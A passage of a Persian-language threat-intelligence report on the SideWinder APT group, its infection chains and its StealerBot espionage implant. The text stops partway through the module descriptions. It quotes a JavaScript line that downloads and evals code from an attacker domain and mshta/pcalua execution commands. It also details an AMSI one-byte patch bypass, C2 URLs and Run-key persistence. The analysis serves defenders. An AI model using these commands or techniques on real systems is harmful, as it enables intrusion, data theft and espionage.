ورای سطح: تکامل و توسعه گروه APT به نام SideWinder

28 آبان 1403 ورای سطح: تکامل و توسعه گروه APT به نام  SideWinder

روابط عمومی شرکت ایدکو (توزیع‌کننده‌ی محصولات کسپرسکی در ایران)؛ SideWinder یا همان T-APT-04 یا RattleSnake یکی از پرکارترین گروه‌های APT است که فعالیت‌های خود را در سال 2012 شروع کرد و به طور عمومی در سال 2018 به ما معرفی شد. در طول سال‌ها، این گروه به نهادهای برجسته در جنوب شرقی آسیا و جنوب آسیا حمله کرد. هدف‌های اصلی‌اش مؤسسات نظامی و دولتی در پاکستان، سریلانکا، چین و نپال بوده‌اند. شرح مفصل حملات و فعالیت‌های SideWinder در تحلیل‌ها و گزارشات مختلف از سوی محققین و فروشنده‌های متفاوت آمده است. یکی از جدیدترین‌ها آخر جولای 2024 منتشر شد. این گروه را به دلیل استفاده از اکسپلویت‌های عمومی، فایل‌های مخرب LNK و اسکریپت‌ها به عنوان بردارهای آلودگی و استفاده از رت‌های عمومی عاملی کم‌مهارت می‌دانند اما قابلیت‌های حقیقی آن تنها زمانی برملا می‌شود که جزئیات عملیات‌های آن‌ها را با دقت بررسی کنید.

علی‌رغم سال‌ها مشاهدات و مطالعات، دانش بدست‌آمده از فعالیت‌های پسادستکاریِ آن‌ها هنوز بسیار محدود است. در طول تحقیقات خود، ما موج‌های جدیدی از حملات دیدیم که نشان‌دهنده توسعه فعالیت‌های این گروه بوده است. این حمله کارش را با تأثیرگذاری روی مؤسسات رده بالا و زیرساخت‌های راهبردی در خاورمیانه و آفریقا شروع کرد و ما نیز کیت ابزار پسا اکسپلویتی به نام StealerBot را –که ایمپلنت ماژولار پیشرفته طراحی‌شده برای فعالیت‌های جاسوسی‌ای است که در حال حاضر باور داریم اصلی‌ترین ابزار پسا اکسپلویت استفاده‌شده توسط SideWinder روی تارگت‌های مورد علاقه‌اش است- را که پیشتر ناشناخته بود کشف کردیم.

بردارهای عفونت

زنجیره حمله  SideWinder عموماً کار خویش را با ایمیل فیشینگ هدف‌دار یا اصطلاحاً نیزه‌ای با یک پیوست که معمولاً داکیومنت Microsoft OOXML (یا ورد و یا XLSX) یا آرشیو زیپ است (که در عوض حاوی فایل مخرب LNK است) شروع می‌کند. این داکیومنت یا فایل LNK زنجیره آلوده چند مرحله‌ای را با دانلودرهای مختلف جاوااسکریپت و .NET شروع می‌کند که با نصب ابزار جاسوسی  StealerBot خاتمه پیدا می‌کند. داکیومنت‌ها اغلب حاوی اطلاعاتی هستند بدست‌آمده از وبسایت‌های عمومی که برای فریب قربانیان در باز کردن فایل و باورِ قانونی بودنشان استفاده می‌شوند. برای مثال فایل تصویر می‌تواند حاوی داده‌های دانلودشده از یوآرال زیر باشد:

https://nasc.org.np/news/closing-ceremony-training-program-financial-management-and-audit-officials-nepal-oil

محتواهای فایل مشخصاٌ برای تارگت انتخاب شده و بسته به کشور تارگت تغییر می‌یابد. همه داکیومنت‌ها از تکنیک تمپلت ریموت برای دانلود فایل RTF ذخیره‌شده روی سرور ریموت کنترل‌شده توسط مهاجم استفاده می‌کند.

اکسپلویت RTF

 فایل‌های RTF به‌طور خاص توسط مهاجم برای سوء استفاده از CVE-2017-11882، یک آسیب‌پذیری آسیب‌پذیر حافظه در نرم‌افزار Microsoft Office ساخته شده‌اند. مهاجم کد پوسته ای را تعبیه کرده است که برای اجرای کد جاوا اسکریپت با استفاده از تابع RunHTMLApplication   موجود در کتابخانه   mshtml.dll ویندوز طراحی شده.  کد پوسته از ترفندهای مختلفی برای جلوگیری از سندباکس و تحلیل پیچیده استفاده می‌کند. از GlobalMemoryStatusEx برای تعیین اندازه حافظه RAM استفاده می‌کند. اگر اندازه کمتر از 2 گیگابایت باشد، اجرا را خاتمه می‌دهد. از دستورالعمل CPUID برای به دست آوردن اطلاعات در مورد سازنده پردازنده استفاده می‌کند. اگر CPU از Intel یا AMD نباشد، اجرا را خاتمه می‌دهد. تلاش می‌کند تا کتابخانه  dotnetlogger32.dll  را بارگیری کند. اگر فایل در سیستم موجود باشد، اجرا را خاتمه می‌دهد.

این بدافزار از رشته‌های مختلف برای بارگیری کتابخانه‌ها و توابع مورد نیاز برای اجرا استفاده می‌کند. این رشته‌ها کوتاه می شوند و قسمت گم شده در زمان اجرا با پچ بایت‌ها اضافه می‌شود. رشته‌ها نیز در داخل کد مخلوط می‌شوند، که برای رد شدن از آنها و پرش به دستورالعمل‌های معتبر در حین اجرا تنظیم شده است تا تجزیه و تحلیل دشوارتر شود. رشته‌ها به‌عنوان آرگومان به تابعی ارسال می‌شوند که همان عملکرد  GetProcAddress را انجام می‌دهد: آدرس یک تابع صادر شده را دریافت می‌کند. برای انجام این کار، دو آرگومان دریافت می‌کند: یک آدرس پایه یک کتابخانه که تابع و نام تابع صادر شده را اکسپورت می‌کند.  آرگومان اول با دستور فشار استاندارد ارسال می شود که آدرس کتابخانه را در پشته بارگذاری میکند. آرگومان دوم به طور غیرمستقیم با استفاده از یک دستورالعمل CALL ارسال می‌گردد.

سپس از توابع بارگذاری‌شده برای انجام اقدامات زیر استفاده می‌شود:

  • کتابخانه mshtml.dll  را بارگیری کنید و نشانگر را به تابع RunHTMLApplication  ببرید.
  • با استفاده از تابع  GetCommandLineW  یک اشاره‌گر به خط فرمان فعلی دریافت کنید.
  • یک اسکریپت نوشته شده در جاوا اسکریپت را که در پوسته کد تعبیه‌شده و با XOR با استفاده از "0x12" به عنوان کلید رمزگذاری شده است، رمزگشایی کنید.
  • خط فرمان فرآیند فعلی را با جاوا اسکریپت رمزگشایی شده بازنویسی کنید.

 

  • تابع RunHTMLApplication را فراخوانی کنید، که کد مشخص شده در خط فرمان فرآیند را اجرا می‌کند.

جاوا اسکریپت بارگیری‌شده کد اسکریپت اضافی را از یک وبسایت راه دور دانلود و اجرا می‌کند.

javascript:eval("v=ActiveXObject;x=new v(\"WinHttp.WinHttpRequest.5.1\");x.open(\"GET\",

\"hxxps://mofa-gov-

sa.direct888[.]net/015094_consulategz\",false);x.Send();eval(x.ResponseText);window.close()")

 

LNK اولیه آلودگی

در طول بررسی ما همچنین یک ناقل عفونت دیگر را مشاهده کرده‌ایم که از طریق یک ایمیل فیشینگ نیزه‌ای با فایل ZIP پیوست شده بود. آرشیو ZIP با نام هایی توزیع می‌شد که قربانی را فریب می‌داد تا فایل را باز کند. مهاجم اغلب از نام هایی استفاده می‌کند که به رویدادهای مهمی مانند حج، زیارت سالانه اسلامی به مکه اشاره دارد.

این آرشیو معمولاً حاوی فایل LNK با همان نام آرشیو است. برای مثال:

نام فایل ZIP

 نام فایل LNK

moavineen-e-hujjaj hajj-2024.zip

MOAVINEEN-E-HUJJAJ HAJJ-2024.docx.lnk

NIMA Invitation.zip

NIMA Invitation.doc.lnk

Special Envoy Speech at NCA.zip

Special Envoy Speech at NCA.jpg .lnk

දින සංශෝධන කර ගැනිම.zip (Amending dates)

දින සංශෝධන කර ගැනිම .lnk

offer letter.zip

offer letter.docx.lnk

 

فایل LNK به ابزار  mshta.exe  اشاره می‌کند که برای اجرای کد جاوا اسکریپت میزبانی شده در یک وبسایت مخرب که توسط مهاجم کنترل می‌شود استفاده می‌شود.

در زیر مقادیر پیکربندی استخراج شده از یکی از این فایل‌های LNK آمده است:

 

1

2

3

4

5

6

7

8

Local Base Path : C:\Windows\System32\sshtw.png

Description : MOAVINEEN-E-HUJJAJ HAJJ-2024.docx

Relative Path : ..\..\..\Windows\System32\calca.exe

Link Target: C:\Windows\System32\mshta.exe

Working Directory : C:\Windows\System32

Command Line Arguments : "hxxps://mora.healththebest[.]com/8eee4f/mora/hta?q=0"

Icon File Name : %systemroot%\System32\moricons.dll

Machine ID : desktop-84bs21b

ماژول دانلودر

اکسپلویت‌های RTF و فایل‌های LNK یک بدافزار جاوااسکریپت را اجرا می‌کنند. این اسکریپت کارش کدگشایی پی‌لود جاسازشده‌ای است که به عنوان رشته کدگذاری‌شده‌ی base64 ذخیره شده. این پی‌لود یک آرشیو  .NET

به نام App.dll است که سپس توسط اسکریپت فراخوانی می‌شود.

App.dll یک دراپر یا قطره چکان ساده است که برای بازیابی یک بار دات نت دیگر از یک URL راه دور ارسال شده توسط جاوا اسکریپت، یا رمزگشایی و اجرای بار دیگر ارسال شده به عنوان آرگومان پیکربندی شده است. کتابخانه باید با فراخوانی متد  Programs.Work()اجرا شود که می‌تواند سه آرگومان را به عنوان ورودی دریافت کند. ما ورودی‌ها را به صورت زیر نام گذاری کردیم:

آرگومان

شرح آرگومان

C2_URL

آرگیومنتی انتخابی که می‌تواند برای عبور از یوآرالی استفاده‌شده برای دانلود پی‌لودی ریموت استفاده شود.

Payload_filename

یک آرگومان اختیاری که می‌تواند همراه با آرگومان  Payload_Data برای ایجاد فایلی در سیستم فایل محلی که حاوی بار حذف شده باشد استفاده شود.

Payload_data

یک آرگومان اختیاری که می‌تواند برای ارسال یک بار رمزگذاری شده که باید در سیستم فایل محلی رها شود استفاده شود.

 

App.dll با جمع‌آوری اطلاعات در مورد محصولات امنیتی نقطه پایانی نصب شده شروع می‌شود. به طور خاص، راه‌حل‌های Avast و AVG مورد توجه بدافزار هستند. داده های جمع‌آوری شده به C2 ارسال می‌شود. سپس، اگر آرگومان “Payload_data” “Null”  نباشد، داده‌ها را با استفاده از base64 و Gzip رمزگشایی و از حالت فشرده خارج می‌کند. پیلود حاصل در دایرکتوری Temp کاربر با استفاده از نام فایل مشخص‌شده در آرگومان  Payload_filename ذخیره می‌شود. اگر راه حل‌های Avast یا AVG نصب شده باشد، محتوای فایل حذف‌شده با دستور زیر اجرا می‌شود:

1

2

3

mshta.exe "javascript:WshShell = new

ActiveXObject("WScript.Shell");WshShell.Run("%TEMP%\%Payload_filename%", 1,

false);window.close()

در غیر این صورت، با فرمان زیر اجرا خواهد شد:

pcalua.exe-a%TEMP%\%Payload_filename%

اگر مهاجم یک C2_URL ارائه کند، بدافزار تلاش می‌کند تا بار دیگری را از URL راه دور مشخص شده دانلود کند. داده‌های به دست آمده با یک الگوریتم XOR با استفاده از 32 بایت اول محموله دریافتی به عنوان کلید رمزگشایی می‌شوند. فایل حاصل باید بدافزار دات نت با نام  ModuleInstaller.dll باشد.

نصب‌کننده‌ی ماژول

بدافزار ModuleInstaller یک دانلودکننده است که برای استقرار تروجان مورد استفاده برای حفظ جای پایی بر روی ماشین‌های در معرض خطر استفاده می‌شود، یک مؤلفه مخرب که ما آن را «ماژول بارگذار در پشتی[1]» نامیده‌ایم. ما از سال 2020 این مؤلفه خاص را رصد کرده‌ایم، اما قبلاً آن را فقط در گزارش‌های اطلاعاتی خصوصی خود توضیح می‌دادیم.

ModuleInstaller برای حذف حداقل چهار فایل طراحی شده است: یک برنامه قانونی و امضاشده که برای بارگذاری جانبی یک کتابخانه مخرب استفاده می‌شود، یک مانیفست .config که در برنامه به عنوان منبع جاسازی شده  و در مرحله بعدی برای بارگیری صحیح ماژول‌های اضافی مورد نیاز است، یک کتابخانه مخرب، و یک محموله رمزگذاری شده. ما ترکیب‌های مختلفی از فایل‌های حذف شده را مشاهده کردیم که رایج‌ترین آنها عبارت بود از:

1

2

3

4

5

6

7

%Malware Directory%\vssvc.exe

 

%Malware Directory%\%encryptedfile%

 

%Malware Directory%\vsstrace.dll

 

%Malware Directory%\vssvc.exe.config

یا

 

1

2

3

4

5

6

7

%Malware Directory%\WorkFolders.exe

 

%Malware Directory%\%encryptedfile%

 

%Malware Directory%\propsys.dll

 

%Malware Directory%\WorkFolders.exe.config

ModuleInstaller منابع زیر را جاسازی می‌کند:

نام منبع

MD5

شرح

Interop_TaskScheduler_x64

95a49406abce52a25f0761f92166c18a

Interop.TaskScheduler.dll برای سیستم‌های 64 بیتی مورد استفاده مخصوص  ایجاد Windows Scheduled Tasks

Interop_TaskScheduler_x86

dfe750747517747afa2cee76f2a0f8e4

Interop.TaskScheduler.dll برای سیستم‌های 32 بیتی مورد استفاده برای ایجاد Windows Scheduled Tasks

manifest

d3136d7151f60ec41a370f4743c2983b

مانیفست XML به عنوان فایل .config حذف شد

PeLauncher

22e3a5970ae84c5f68b98f3b19dd980b

برنامه دات نت در کد استفاده نشده است

shellcode

32fc462f80b44013caeada725db5a2d1

Shellcode برای بارگیری کتابخانه‌ها استفاده می‌شود که تابعی به نام "شروع" را صادر می‌کند.

StealerBot_CppInstaller

a107f27e7e9bac7c38e7778d661b78ac

کتابخانه C++ برای دانلود دو کتابخانه مخرب و ایجاد نقاط ماندگاری استفاده می‌شود

 

دانلودکننده طوری پیکربندی شده است که یک URL را به عنوان ورودی دریافت و آن را برای استخراج یک مقدار خاص از یک متغیر تجزیه کند. سپس مقدار بازیابی شده با لیستی از مقادیر رشته‌ای مقایسه می‌شود که به نظر می‌رسد زیر رشته‌های راهکارهای امنیتی نقطه پایانی شناخته شده باشند:

الگو

راهکار اندپوینت سکیوریتی

q=apn

ناشناخته

aspers

کسپرسکی

afree

مک‌فری

avast

آواست

avg

AVG

orton

نورتون

360

توتا سکیوریتی 360

avir

اویرا

 

 

ModuleInstaller از شش روال عفونت پشتیبانی می‌کند، که در تکنیک های مورد استفاده برای اجرای «ماژول بارگذار در پشتی» یا دانلود مؤلفه‌ها متفاوت هستند، اما در منطق اصلی شباهت‌هایی دارند. برخی از این روال ها همچنین شامل ترفندهایی برای حذف شواهد هستند، در حالیکه برخی دیگر اینطور نیستند. بدافزار فقط یک روال خاص را اجرا می‌کند که بر اساس مقدار دریافت شده به عنوان آرگومان و مقدار یک پیکربندی داخلی تعبیه‌شده در کد انتخاب شده است.

روتین

شرایط

روتین 1 عفونت

اجراشده وقتی زیررشته q=apn شناسایی شود

روتین  2 عفونت

اجراشده وقتی بایت خاصی از کانفیگ داخلی مساوی با یک شود

روتین 3 عفونت

اجرا شده وقتی زیررشته 360 شناسایی شود

روتین 4 عفونت

اجراشده وقتی زیررشته آواست یا اویر شناسایی شود

روتین 5 عفونت

اجراشده وقتی زیررشته اسپرز یا افری شناسایی شود

روتین 6 عفونت

مورد پیش فرض زمانی اجرا می‌شود که تمام شرایط دیگر برآورده نشود.

 

همه روتین‌ها اطلاعات مربوط به سیستم در معرض خطر را جمع آوری می‌کنند. به طور خاص، آنها موارد زیر را جمع می‌کنند:

 

نام کاربری فعلی؛

نام پردازنده و تعداد هسته ها؛

نام و اندازه دیسک فیزیکی؛

مقادیر ویژگی های TotalVirtualMemorySize و TotalVisibleMemorySize.

نام میزبان فعلی؛

آدرس IP محلی؛

سیستم‌عامل نصب شده؛

معماری.

سپس داده‌های جمع‌آوری‌شده در base64 کدگذاری و با یک URL C2 که در کد تعبیه شده است، در داخل متغیری به نام "داده" الحاق می‌شوند.

hxxps://dynamic.nactagovpk[.]org/735e3a_download?data=<stoleninfo>

این بدافزار چندین URL C2 در کد تعبیه شده است که همه آنها با استفاده از یک الفبای سفارشی با base64 کدگذاری شده‌اند:

C2_URL_1 = hxxps://dynamic.nactagovpk[.]org/735e3a_download

C2_URL_2 = hxxps://dynamic.nactagovpk[.]org/0df7b2_download

C2_URL_3 = hxxps://dynamic.nactagovpk[.]org/27419a_download

C2_URL_4 = hxxps://dynamic.nactagovpk[.]org/ef1c4f_download

بدافزار اطلاعات جمع آوری‌شده را به یکی از سرورهای C2 انتخاب شده بر اساس روتین عفونت خاص ارسال می‌کند. پاسخ سرور باید یک بار با مقادیر پیکربندی مختلف باشد. مجموعه مقادیر ممکن است بسته به روتین عفونت متفاوت باشد. بدافزار مقادیر دریافتی را تجزیه می‌کند و آنها را به متغیرهای محلی اختصاص می‌دهد. در بیشتر موارد نام متغیرها را نمی‌توان از کد بدافزار بدست آورد. با این حال، در یک روتین عفونت خاص، مهاجم از رشته‌های اشکال‌زدایی استفاده می‌کند که به ما امکان می‌دهد بیشتر این نام‌ها را به دست آوریم. جدول زیر حاوی لیست کامل مقادیر پیکربندی ممکن است.

نام متغیرش

شرح

MALWARE_DIRECTORY

مسیر دایرکتوری؛ جایی که همه فایل‌های مخرب آنجا ذخیره شدند

LOAD_DLL_URL_X64

یوآرال برای دانلود آرشیو مخرب برای سیستم‌های 64 بیتی استفاده می‌شود

LOAD_DLL_URL_X86

یوآرال برای دانلود آرشیو مخرب جهت سیستم‌های 32 بیتی استفاده می‌شود

LOAD_DLL_URL

یوآرال برای دانلود آرشیو مخرب استفاده می‌شود. برخی روتین‌های عفونت معماری را چک نمی‌کنند.

APP_DLL_URL

یوآرال برای دانلود پی‌لود رمزگذاری‌شده استفاده می‌شود.

HIJACK_EXE_URL

یوآرال برای دانلود اپ قانونی استفاده‌شده برای سایدلود کردن آرشیو مخرب استفاده می‌شود

RUN_KEY

نام ارزش رجیستری ویندوز که برای حفظ ماندگاری ساخته خواهد شد

HIJACK_EXE_NAME

نام اپ قانونی

LOAD_DLL_NAME

 

نام آرشیو مخرب

MOD_LOAD_DLL_URL

یوآرال استفاده‌شده برای دانلود آرشیو ناشناخته که در MALWARE_DIRECTORY as “IPHelper.dll ذخیره شده.

 

محموله دو بار XOR شده است. کلیدها 32 بایت اول در ابتدای محموله هستند.

در طول اجرا، بدافزار با ارسال درخواست‌های GET به C2، وضعیت آلودگی فعلی را ثبت می‌کند. نمونه مورد تجزیه و تحلیل برای این منظور از C2_URL_4 استفاده کرد. درخواست شامل حداقل یک متغیر به نام "داده" است که مقدار آن نشان‌دهنده وضعیت آلودگی است.

متغیر

شرح

?data=1

تکمیل دانلود

?data=2

نقطه ماندگاری ایجاد

?data=3&m=str

خطا. همچنین حاوی یک متغیر  m با اطلاعات مربوط به خطا

?data=4

تکمیل آلودگی. اما مرحله بعدی اجرا نمی‌شود

?data=5

تکمیل آلودگی با اجرای مرحله اول

 

تکنیک مورد استفاده برای حفظ پایداری با توجه به روال آلودگی انتخاب‌شده توسط بدافزار متفاوت است، اما عموماً به ایجاد مقادیر جدید رجیستری تحت کلید اجرای HKCU یا ایجاد وظایف برنامه‌ریزی شده ویندوز متکی است.

به عنوان مثال:

 

RegKey: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

RegValue: xcschemer (MALWARE_DIRECTORY)

RegValueData: %AppData%\xcschemer\vssvc.exe (HIJACK_EXE_PATH)

ماژول لودر بک‌در

طرح آلودگی که در پاراگراف قبلی توضیح داده شد منجر به نصب کتابخانه مخرب می‌شود که با استفاده از برنامه قانونی و با امضای دیجیتالی بارگذاری شده است. این کتابخانه به عنوان بارگیری عمل می‌کند که یک پی‌لود رمزگذاری‌شده را که توسط ModuleInstaller دراپ شده، بازیابی، آن را رمزگشایی و در حافظه بارگذاری می‌کند. ماژول بارگذار بک‌در از سال 2020 مشاهده شده است، ما آن را در گزارش های خصوصی APT خود پوشش دادیم. در طول سال‌ها تقریباً به همین شکل باقی مانده است. اخیراً توسط مهاجم به روز شده، اما تفاوت اصلی این است که انواع قدیمی برای بارگذاری فایل رمزگذاری شده با استفاده از یک نام فایل خاص تعبیه شده در برنامه پیکربندی شده‌اند و آخرین متغیرها برای شمارش تمام فایل‌ها در فهرست فعلی و بارگذاری آن‌ها بدون افزونه طراحی شده‌اند. این آرشیو با استفاده از تکنیکی موسوم به Control Flow Flattening به شدت مبهم‌سازی می‌شود.

افزون بر این، رشته‌ها، نام‌های متود و نام‌های منبع به طور رندوم با رشته‌های بلند اصلاح می‌شوند که همین، تحلیل کد کدگشایی‌شده را سخت می‌کند. علاوه بر این، برخی رشته‌های مربوطه داخل منبعی جاسازشده در برنامه ذخیره می‌شوند و با لایه XOR و Triple DES رمزگذاری می‌شوند. این بدافزار همچنین شامل تکنیک‌های ضدسندباکس هم می‌شود. تاریخ و زمان فعلی را می‌گیرد و رشته را به مدت 100 ثانیه در حالت خواب قرار می‌دهد. سندباکس‌ها معمولاً عملکردهای خواب را نادیده می‌گیرند زیرا اغلب توسط بدافزارها برای ایجاد تأخیرهای طولانی در اجرا و جلوگیری از شناسایی استفاده می‌شوند. پس از بیدار شدن، بدافزار دوباره زمان و تاریخ فعلی را بازیابی نموده و بررسی می‌کند که آیا زمان سپری شده کمتر از 90.5 ثانیه است یا خیر. اگر شرط درست باشد، اجرا را خاتمه می‌دهد. این بدافزار همچنین سعی می‌کند با اصلاح تابع AmsiScanBuffer در amsi.dll (رابط اسکن ضد بدافزار ویندوز) از شناسایی جلوگیری کند. به طور خاص، کتابخانه amsi.dll را بارگیری و دایرکتوری اکسپورت را برای یافتن تابع  AmsiScanBuffer تجزیه می‌کند.

در این عملکرد، پرچم‌های حفاظت از حافظه را تغییر می‌دهد تا دستورالعمل‌ها را در RVA 0x337D تغییر دهد و بدین‌ترتیب همیشه کد خطای 0x80070057 راE_INVALIDARG)– استدلال نامعتبر)برگرداند. این تغییر محافظ Amsi را مجبور می‌کند تا همیشه یک نتیجه اسکن برابر با 0 را برگرداند که معمولاً به عنوان AMSI_RESULT_CLEAN تفسیر می‌شود. کد وصله‌شده فقط یک بایت است: بدافزار 0x74 را تغییر می‌دهد که مطابق با دستور JZ (Jump if zero) است، به 0x75 که مربوط به JNZ  (پرش اگر صفر نیست[2]) است. پرش باید زمانی انجام شود که بافر ارائه شده به عنوان ورودی تابع AmsiScanBuffer نامعتبر باشد. با این اصلاح، پرش برای همه بافرهای معتبر انجام می شود.پس از وصله کردن AmsiScanBuffer، بدافزار عملیات راه‌اندازی را برای رسیدن به هدف اصلی خود، که بارگذاری بار دیگری از فایل رمزگذاری شده است، انجام می‌دهد. ابتدا، فایل‌ها را در فهرست فعلی شمارش می‌کند و سعی می‌کند فایلی را بدون کاراکتر «.» در نام فایل (یعنی بدون پسوند) پیدا کند. سپس، اگر فایل پیدا شد، از 16 بایت اول در ابتدای فایل به عنوان کلید استفاده و بقیه داده ها را با استفاده از الگوریتم XOR رمزگشایی می‌کند. در نهایت، داده‌ها را به عنوان یک اسمبلی دات نت بارگذاری  و روش  Program.ctor را فراخوانی می‌کند.

استیلر بات

StealerBot نامی است که توسط مهاجم به ایمپلنت مدولار توسعه یافته با دات نت برای انجام فعالیت‌های جاسوسی اختصاص داده شده است. ما هرگز هیچ یک از اجزای ایمپلنت را در فایل سیستم مشاهده نکردیم. آنها توسط ماژول بارگذار بک‌در در حافظه بارگذاری می‌شوند. قبل از بارگیری، باینری در یک فایل رمزگذاری شده ذخیره می‌شود. ایمپلنت متشکل از ماژول های مختلف است که توسط "ارکستراتور" اصلی بارگذاری شده است، که مسئول ارتباط با C2 و اجرا و مدیریت پلاگین ها است. در طول بررسی، ما چندین افزونه را کشف کردیم که بر روی قربانیان در معرض خطر آپلود شده بودند و از آنها استفاده می‌شد:

نصب بدافزار اضافی؛

گرفتن اسکرین شات؛

ورود به صفحه کلید؛

سرقت رمزهای عبور از مرورگرها؛

رهگیری اعتبار RDP؛

سرقت فایل‌ها؛

شروع پوسته معکوس

فیش کردن اطلاعات محرمانه ویندوز

افزایش امتیازات با دور زدن UAC

شناسه‌های ماژول هم در ماژول‌ها و هم در یک فایل پیکربندی رمزگذاری شده گنجانده شده است. Orchestrator  از آنها برای مدیریت اجزا استفاده می‌کند. پیام‌ها/فرمان‌ها را با ماژول‌ها به اشتراک می‌گذارد و می‌تواند پیام‌های خاصی را برای کشتن یا حذف ماژول‌ها با یک شناسه خاص مدیریت کند.

آی‌دی ماژول

شرح

0xca

کی‌لاگر

0xcb

لایو کنسول

0xd0

گیرنده اسکرین‌شات

0xd4

سارق فایل

0xd6

UACBypass

0xe0

سارق اطلاعات RDP

0xe1

دریافت‌کننده توکن

??

فیشر اطلاعات

 

 

StealerBot Orchestrator

Orchestrator معمولاً توسط ماژول لودر بک‌در لود می‌شود و مسئولیت ارتباط با سرور C2 و اجرای و مدیریت پلاگین ها را بر عهده دارد. به طور دوره ای به دو URL متصل می‌شود تا ماژول های ارائه شده توسط مهاجم را دانلود  و فایل‌هایی را با اطلاعات دزدیده شده آپلود کند. همچنین پیام هایی را با ماژول بارگذاری شده مبادله می‌کند که می‌تواند برای ارائه یا اصلاح ویژگی های پیکربندی و تخلیه اجزای خاص از حافظه استفاده شود. پس از بارگذاری در حافظه، بدافزار منبعی را که در Orchestrator تعبیه شده است به نام "پیش فرض" رمزگشایی می کند. این منبع حاوی یک فایل پیکربندی با ساختار زیر است:

پارامتر

نوع پارامتر

شرح

مسیر کانفیگ

رشته

مکان مورد استفاده برای ذخیره فایل پیکربندی پس از اولین اجرا

دایرکتوری داده

رشته

دایرکتوری که در آن افزونه ها فایل های خروجی را که در C2 از راه دور آپلود می شوند ذخیره می‌کنند

ماژول‌های C2

رشته

یو آر ال استفاده‌شده برای ارتباط با سرور C2 و بازیابی پلاگین‌های اضافی

دروازه C2

رشته

یوآرال استفاده‌شده برای آپلود فایل‌هایی که توسط ماژول‌ها تولید شدند

زمان خواب ماژول‌های C2

عدد صحیح

زمان خواب بین ارتباطات با ماژول های C"

زمان خواب دروازه‌های C2

عدد صحیح

زمان خواب بین ارتباطات با C2 Gateway

RSA_Key

رشته

کلید RSA استفاده شده برای رمزگذاری ارتباط با سرور C2

تعداد پلاگین‌ها

عدد صحیح

تعداد پلاگین‌های جاگذاری‌شده در کانفیگ

ماژول‌ها

چینش

چینش و آرایه ای که شامل ماژول‌ها می‌شود

 

این پیکربندی می‌تواند چندین ماژول را جاسازی کند. به طور پیش فرض، آرایه معمولاً خالی است، اما پس از اجرای اولیه، بدافزار یک کپی از پیکربندی در یک فایل محلی ایجاد می‌کند و آن را با اطلاعات بازیابی شده از سرور C2 به روز نگه می‌دارد.

پس از تجزیه پیکربندی، بدافزار تمام ماژول‌های مشخص‌شده در فایل را بارگیری می‌کند. سپس دو رشته را برای ارتباط با سرور C2 راه دور راه اندازی می‌کند. اولین رشته برای برقراری ارتباط با اولین URL که ماژول های C2 نامیده ایم، استفاده می‌شود که برای به دست آوردن ماژول های جدید استفاده می‌شود. رشته دوم برای ارتباط با URL استفاده می‌شود که ما آن را C2 Gateway  نامیده‌ایم، که برای آپلود داده‌های تولید شده توسط ماژول‌ها استفاده می‌شود. این بدافزار با استفاده از درخواست های GET با سرور C2 Modules ارتباط برقرار می‌کند. قبل از ارسال درخواست، یک مقدار  x اضافه می‌کند که حاوی لیست ماژول هایی است که قبلاً توسط عامل بارگذاری شده است.

&x[moduleId_1,moduleId_2,moduleId_3,etc.]"

 

سرور با یک پیام متشکل از دو بخش، هدر و بارگذاری پاسخ می‌دهد. هر قسمت دارای ساختار خاصی با اطلاعات متفاوت است.

هر پیام به طور دیجیتالی با کلید اختصاصی RSA که صاحبش، مهاجم سمت سرور است امضا می‌شود و امضا با ارزش rgbSignature ذخیره می‌شود. Orchestrator از متود RSACryptoServiceProvider.VerifyHash برای تأیید اعتبار امضای دیجیتالی ارائه‌شده استفاده می‌کند. هِدِر با همان الگوریتم XOR استفاده‌شده برای کدگذاری یا کدگشایی فایل کانفیگ کدگذاری می‌شود. پی‌لود با  Gzip فشرده شده و با AES رمزگذاری می‌گردد. هدر حاوی اطلاعات مورد نیاز برای شناسایی ماژول، رمزگشایی پی‌لود و اعتبارسنجی داده‌های دریافتی است. وقتی ماژول لود شود،  Orchestrator متود اصلی ماژول را فراخوانده از دو آرگومان عبور می‌کند: آی‌دی ماژول و هندل پایپ. پایپ برای حفظ ارتباط بین ماژول و ارکستراتور استفاده می‌شود. این ماژول‌ها می‌توانند پیام‌های مختلفی را به Orchestrator بفرستند تا کانفیگ را دریافت یا اصلاح کنند، پیام‌های لاگ را بفرستند و اجرای ماژول را خاتمه دهند. پیام‌ها مانند دستورات عمل می‌کنند، شناسه خاصی دارند و می توانند شامل آرگومان باشند. اولین بایت پیام ID آن است که نوع درخواست را مشخص می‌کند:

آی‌دی پیام

شرح

0

دریافت تنظیمات: ارکستراتور یک کپی از پیکربندی فعلی ایجاد کرده و آن را به ماژول ارسال می‌کند.

1

به روزرسانی پیکربندی: ماژول یک پیکربندی جدید ارائه می‌دهد و ارکستراتور مقادیر پیکربندی فعلی را به روز و آنها را در فایل محلی ذخیره می‌کند.

2

آنلود کردن ماژول فعلی ماژول: ارکستراتور باید ماژول فعلی را از حافظه تخلیه کند و لوله‌های مربوطه را ببندد.

3

آنلود کردن ماژول با آی‌دی: ارکستراتور باید یک ماژول با شناسه مشخص شده در درخواست دریافتی را بارگذاری کند.

4

حذف استارت‌آپ: ارکستراتور باید یک ماژول را از پیکربندی محلی حذف کند. شناسه ماژول در درخواست دریافتی مشخص شده است.

5

حذف ماژول فعلی از پیکربندی: ارکستراتور باید شناسه ماژول فعلی را از پیکربندی محلی حذف کند.

6

پایان دادن به رشته فعلی: ارکستراتور تایمرها، لوله ها را متوقف و ماژول فعلی را از لیست فعلی ماژول ها حذف می‌کند.

7

سیو کردن پیام لاگ: ارکستراتور یک پیام گزارش را با استفاده از شناسه ماژول فعلی ذخیره می‌کند.

8

سیو پیام لاگ: ارکستراتور یک پیام گزارش را با استفاده از شناسه ماژول مشخص شده ذخیره می‌کند.

9

دریافت پیکربندی پوشه خروجی

10

دریافت URL ماژول های C2:  ارکستراتور URL فعلی ماژول های C2 را با ماژول به اشتراک می‌گذارد.

11

دریافت URL دروازه C2:ارکستراتور URL فعلی دروازه C2 را با ماژول به اشتراک می‌گذارد.

12

دریافت کلید عمومی RSA

 

ماژول‌ها

کی‌لاگر

این ماژول از تابع  SetWindowsHookEx  مشخص‌شده در کتابخانه  user32.dll برای نصب رویه هوک و نظارت بر رویدادهای ورودی صفحه کلید و ماوس سطح پایین استفاده می‌کند. این بدافزار می تواند ضربه‌های کلید، رویدادهای موس، محتویات کلیپ بورد ویندوز و عنوان پنجره فعال فعلی را ثبت کند.

گیرنده اسکرین‌شات

این ماژول به طور دوره‌ای اسکرین شات‌هایی از اسکرین اولیه می‌گیرد.

سارق فایل

